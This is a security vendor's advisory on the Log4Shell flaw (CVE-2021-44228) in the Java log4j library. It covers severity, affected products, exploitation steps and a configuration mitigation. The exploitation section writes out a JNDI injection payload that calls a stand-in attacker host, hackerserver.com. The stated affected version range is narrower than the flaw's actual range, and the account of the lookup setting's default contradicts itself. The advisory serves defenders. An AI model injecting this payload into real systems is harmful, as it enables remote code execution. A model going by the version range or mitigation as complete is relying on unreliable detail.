NopSec.com uses cookies to make interactions with the Company’s Websites easy and meaningful. When you visit one of the Company’s Websites, NopSec.com’s servers send a cookie to your computer. Standing alone, cookies do not personally identify you; they merely recognize your Web browser. Unless you choose to identify yourself to NopSec.com, either by responding to a promotional offer, opening an account, or filling out a Web form (such as a “Contact Us” or a “Free Trial” Web form), you remain anonymous to the Company. Please go to our privacy statement for details.

Acknowledge
NopSec_Resource_JustInTime_Generic_1

Just in Time Bulletin: CVE-2021-44228 Log4Shell

Dec 10, 2021

What is CVE-2021-44228

CVE-2021-44228  is a vulnerability in Java library log4j. LunaSec has coined the vulnerability: Log4Shell. It was originally discovered in Minecraft, but because of the popularity of this particular Java library, this exploitation is much farther reaching. What makes it even more dangerous is its ability for remote execution. A simple input of a code string enables attackers to take control of the affected application/server when the logs are processed and the attacker’s malicious code is executed. To determine if you’re affected, review the log files for any services using affected Log4j versions (stated below). If they contain user-controlled strings they could be affected. Given the severity of this vulnerability, we recommend treating this situation like a breach already has taken place.

How bad is this? 

Severity: Critical

  • This is a widely used and very popular Java library
  • This is a remotely exploitable vulnerability
  • This vulnerability does NOT require advanced skill to be exploited

Who is affected by this? 

  • Likely anyone using Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Flink, Apache Kafka, Apache Dubbo
  • Users using version 2.10.0 to 2.14.1

How are they exploited? 

  1. Data from the User gets sent to the server (via any protocol)
  2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://hackerserver.com/a}
  3. The log4j vulnerability is triggered by this payload and the server makes a request to hackerserver.com via JNDI
  4. This response contains a path to a remote Java class file which is injected into the server process
  5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

How do I protect myself? 

NopSec recommends that customers set log4j2.formatMsgNoLookupsto true. The vulnerability can only be exploited if the log4j2.formatMsgNoLookups option in the library’s configuration is set to false. This feature is default set to false is all log4j versions since 2.10.0. You can do so by adding ‐Dlog4j2.formatMsgNoLookups=True to the JVM command for starting the application.

If you have additional questions, please don’t hesitate to reach out to your Customer Success Engineer.

Additional Resources: